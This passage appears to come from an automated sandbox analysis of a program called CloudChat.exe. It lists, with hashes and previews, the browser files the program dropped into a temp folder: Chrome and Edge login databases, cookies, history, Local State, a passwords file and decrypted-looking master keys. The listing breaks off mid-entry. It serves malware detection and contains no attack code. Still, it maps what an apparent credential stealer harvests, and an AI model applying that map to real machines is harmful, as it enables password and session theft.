C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\LOG

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	365
Entropy (8bit):	5.193041446878678
Encrypted:	false
SSDEEP:	6:kkdP21923iKKdK8age8Y5ouKu2KXx2KLlpdZlM+q2P923iKKdK8age8Y5ouKuFRh:kkB5Kk8rcPXdLTS+v45Kk8rcPXgFUv
MD5:	91119561B3B404605D55F8A5C18AA150
SHA1:	1D95E5CFDFB457C1BA0E3CAA76F920968F1A55DE
SHA-256:	C9C5E1FBAFDFFD0B43807B5A141F78CA796C06F011B0DA770C3A98B2DD3EAE68
SHA-512:	E9D16879DCE0DC6F2B6FF3583463E3C069D1071547A05EC6B9255F82D46B7D8FB03E22D51BB4BDED5621D15B00AD28F7E495E2671E7B265A9AD9F13732CDDCAB
Malicious:	false
Preview:	2023/10/04-14:40:18.690 231c Creating DB C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi since it was missing..2023/10/04-14:40:18.696 231c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi\MANIFEST-000001

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Storage\leveldb\CURRENT

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	293
Entropy (8bit):	5.160823748741845
Encrypted:	false
SSDEEP:	6:kktuUCAB1923iKKdK8a2jM8B2KLlptGo+q2P923iKKdK8a2jMGIFUv:kkAUCAM5Kk8jFLTV+v45Kk8EFUv
MD5:	BB83B276E0D451C5E59790729A247B67
SHA1:	A5F99AAA624DCB5EBFB943F45487800F099201D6
SHA-256:	50D2D932726553113F566EBDFEE1A0BE1545982D7806559B1F120F9EAB1E5715
SHA-512:	22CA667E26FFA65A5172ECCB192F04B9B9B208BECC642AB6539C085E4913676C33FAE2FF70BAAD487B33F3F216B37CEB255CF5C3A8E484D0997B540C7157A2C4
Malicious:	false
Preview:	2023/10/04-14:40:09.549 114c Creating DB C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb since it was missing..2023/10/04-14:40:09.556 114c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Default\Login Data

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\Local State

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	601365
Entropy (8bit):	6.008791134195978
Encrypted:	false
SSDEEP:	12288:l11e8OdHB+LeuC6MeAOXw6VwIHDIu62IPXjHf:lTenHw1C6MqgIDjyPT/
MD5:	174BC06D568819E002A136E848701847
SHA1:	DECE64C7FC14E7F0D9EF0ACFEF61D2E251242E85
SHA-256:	0BD2C19EA8665923BD8DD8D3992BBB2DB9B958B46CAACAD84DC5E03C258C7EB1
SHA-512:	17F4EAEC278BD8A8FB23FEA92D7F698379132F46CA2C6A97003EA30A4E27F411BDD9A26FDA585499208EFEA25D6C23375EB9857EC5B699D84CE934F91F7B9A9B
Malicious:	false
Preview:	{"browser":{"first_run_finished":true,"first_run_study_group":"EnabledE-5","shortcut_migration_version":"117.0.5938.132"},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"management":{"platform":{"azure_active_directory":0,"enterprise_mdm_win":0}},"network_time":{"network_time_mapping":{"local":1.696426810068423e+12,"network":1.69642681e+12,"ticks":423833625.0,"uncertainty":2034246.0}},"os_crypt":{"app_bound_fixed_data":"AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAG7I4XamucEiJgTIvWNrX8QAAAAACAAAAAAAQZgAAAAEAACAAAABcByHmkJWMthaaF6PAj44r6G5q8HbZMYQ78KiV7ktVmQAAAAAOgAAAAAIAACAAAAA7QovYWUH9jKwer+mATh0d48meKRQtltSX16XxxPWWA2ABAAC4ore7HQTXddwLyE2jwNV/4ftVW9+MWocSg5WPR1FRhkd6090OQ8PyZLBU3Rc+zrrowkC6sKrTpTldlSWYMhzsNLXud9KDCMJbKu4celgfQ0Xli7lHCLEZtJdZB7XRZLdPzIA7yCELaNh0Tzk8tAn7OkKs/GwqTXg/0IRrDQwRjtlhpS2MXt4c7Nip//L0neEWgM2K6pW7nC6hZt+1PTTJQd1HLQI25gileFmmT7iZTmDbfhwI65gCxAbSmasdgEWMsLDPxtgVj1AgzCFIDTXul8NsIYjviDd1l7pez16jtmwELJT2bRUZ0

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Chrome\MasterKey

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.726143834398878
Encrypted:	false
SSDEEP:	3:Y+0Agz1NVhC9KMTJn:F7gxN4Kgn
MD5:	E13B3BD251325EFE0E1EF5EBF0D59EEE
SHA1:	CE25811C3BDE7F8B86504BC8AE00F9C62651A016
SHA-256:	839935299FF77A3F36A623AD865C0BA7B284EDCB6EA58E148464F1FEBA22C3A8
SHA-512:	BF663437270D42523EB9E33443E80CD652844B738102B3AB62E5AA059CF22DD42743789299F65F850B97422E9BA0BCA549356DEFEC32E3120165527D2919AA9D
Malicious:	false
Preview:	Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Cookies

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2397
Entropy (8bit):	5.423816460912032
Encrypted:	false
SSDEEP:	24:1HEZ4qW4VlELb/KxktGu7VwELb/s2QDkUpvdlmF1exy/Otj1BSVvs:W7WsaLTKQGuxTLT2Rv3mves/OPBSVk
MD5:	E91CDDA64A786CE200DB7EC9BB7B4CE7
SHA1:	AB56591A47337F8AB5FFDB22AA388A781EE40DF4
SHA-256:	E64F4AEC6C8CD5F7F57BB004418E626E5177ABA018AA85925937AC512F79EF9F
SHA-512:	1344F0B28751BCA62FC121E5CA690618F9B98EDCA958ACE47472E932481C6A97A29F9E89676949042F860707B8F62DAB93E9FAB64376D9EC9429E7C7CE32B1A6
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "persistent": false,.. "scripts": [ "eventpage_bin_prod.js" ].. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": "script-src 'self'; object-src 'self'",.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "matches": [ "htt

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698155584916808
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1zn:NBqY+6E+F7Jzn
MD5:	7B5D6D911B4201D67D752664C7FA1E2D
SHA1:	D6E04EF6F1BCDAF38CB8F8313D5CB6645EF8E496
SHA-256:	F4797B137EF6F80F2C9C41F45880064163C86D22597C1015B0FF801766B9957C
SHA-512:	08D739B7FA850B32ABDB6731D8F6D4A171A6CEA5A1C8706FA8EB479DE1616CE32E17970EB40968124D29477507A97ED50CA41A98623B355384CFFDC86BCAB25A
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.0"..}..

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\History

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\CURRENT

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	367
Entropy (8bit):	5.215993814069912
Encrypted:	false
SSDEEP:	6:kk8aM1923oH+Tcwt8age8Y55HEZzXELIx2KLlp8hMq2P923oH+Tcwt8age8Y55H0:kk8ahYeb8rcHEZrEkVLT8uv4Yeb8rcH0
MD5:	6B9F5B8743F68BCE7EC2C3C5550E37E2
SHA1:	DFB609C9CBFCA8CCA3EF409DE9E1BE1699AE5C51
SHA-256:	422C5727958B56FCAF5F4097F10EF8DE06A46952261EBEDBB96C1AACADD8D693
SHA-512:	E74077F9627DF163DC70F141A9FDE145292F048456F182F5F19CAB49DED7C3EE8D53923B7BCB2200F17E531EEDE0209984B3681E6BFDF2F5B4DD66695A87CF6F
Malicious:	false
Preview:	2023/10/04-14:34:43.146 1894 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold since it was missing..2023/10/04-14:34:43.148 1894 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\MANIFEST-000001

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Local Storage\leveldb\CURRENT

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.105085856645475
Encrypted:	false
SSDEEP:	6:kCn0k4q2P923oH+Tcwt8a2jMGIFUtTn0kJZmw5nsPDkwO923oH+Tcwt8a2jMmLJ:k8V4v4Yeb8EFUtTVJ/1KD5LYeb8bJ
MD5:	67F0027222207F289B497A530FDE34DF
SHA1:	7336AB213927EF7288D6AD42FCF2A27471D779A0
SHA-256:	4245D60554AC63F61788D2849D21B7FDA1FB0A6B843F7426B7C67F8427DCD8ED
SHA-512:	BDEB45F8C5AAEE9572430D6AE35DCB417BF412A859B414AF5BE0FA48E8147A83F376F97CF2C9AC76BB70A2AD6C325F5275E6C2EA9FCDC0651730A01E39FBCD70
Malicious:	false
Preview:	2023/10/04-16:14:12.306 1624 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2023/10/04-16:14:12.306 1624 Recovering log #3.2023/10/04-16:14:12.307 1624 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Local Storage\leveldb\LOG.old

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.174568601459532
Encrypted:	false
SSDEEP:	6:kCgoJUt+q2P923oH+Tcwt8a2jMGIFUtTgoSiZmw5goHoVkwO923oH+Tcwt8a2jM4:kdoaov4Yeb8EFUtsoSi/KoHA5LYeb8bJ
MD5:	4544A2EB37EB81D1F881873B45E425BE
SHA1:	38EF753A08105CC6D094CEDE2CDC16203ED7C72F
SHA-256:	8E7E5F4569D56EB9ADA4EE41171866696900332EAFF48D63906EEED8C03E69FB
SHA-512:	4BA02A6C541BDE05E7CC26B229021063D46856ED3F5A3550A2DB2952A7FEA93CA8043887CB54D9D9CF91C63060129F682F684D19CF26759675F303A70EE9472F
Malicious:	false
Preview:	2023/10/04-16:12:06.586 14d8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2023/10/04-16:12:06.587 14d8 Recovering log #3.2023/10/04-16:12:06.588 14d8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Local Storage\leveldb\MANIFEST-000001

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Default\Login Data

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Edge_passwords.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with no line terminators
Category:	dropped
Size (bytes):	5
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:	3:8n:8n
MD5:	4C5719A7E96761B804CFD99165106C4B
SHA1:	32A975C7D85E193488366850FAC8CD563E45ECF7
SHA-256:	1B7A6AFB58CE9D1AB0DD41E566D637DBC98647399002C198AF5943C6F362A794
SHA-512:	F28D1CCCDC4E723E2DB034332837E39E04A183C3FDFD618036B909CC38FCB76B58464C8D7600929B34C33BEF3E42EE89B53871D03C34933C2265EA2D290B27A4
Malicious:	false
Preview:	.[]

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\Local State

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.0906888050947225
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMEcwuF9hDO6vP6O9Htbzy70FqHoPFkGoup1Xl3jC:z/Ps+wsI7ynEd6Jtbz8hu3VlXr4CRoX
MD5:	6F8FFE68CBDE7984212AC28FB4502998
SHA1:	04A8B89447F7AFBC4ADF55A3CCEDF082FA58FF84
SHA-256:	871374A34C6A3799519FCCF50B91C3DFF7F543710B2F7EEF5003618E84032C31
SHA-512:	72834E16907E2B0E3637F7A969978E06E52CC660754F3E734585B5D3FDCBD02F99076757C572C595FA322E99C286A66ED95ABAEA791F98A9FA77E815052CF85A
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\Edge\MasterKey

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	44
Entropy (8bit):	4.862507470762515
Encrypted:	false
SSDEEP:	3:vVB9RkYLqLfdW/ihn:JRk9jU/ihn
MD5:	E17890EE701A3AE97EBF33F8C2C0F557
SHA1:	45340AF939806279F669DD95FA54DA42A4DFA2B9
SHA-256:	D1DE35D304F04D5476566F480D42C5A4911B42A72EE6F8F1D9FC8600D1B53DE9
SHA-512:	5ABBA8AA2024BE9EE999FC1146B8583FB30CCF7C1DDE2F94B71D9C29E105809ED23FB3103CE23CEA28C8C24D5CE52FA4CA1A2286530E080B1A1D9531418C9C3A
Malicious:	false
Preview:	gLGhqKUKpdV/ottexkZPoKsofM3b/nGkHiC83IQ28GQ=

C:\Users\user\AppData\Local\Temp\9144b88e-958d-4c3c-90ee-8a3bd5e186d3\FireFox\v6zchhhv.default-release\addons.json

Download File

Process:	C:\Users\user\AppData\Roaming\CloudChat Desktop\CloudChat.exe
File Type:	JSON data
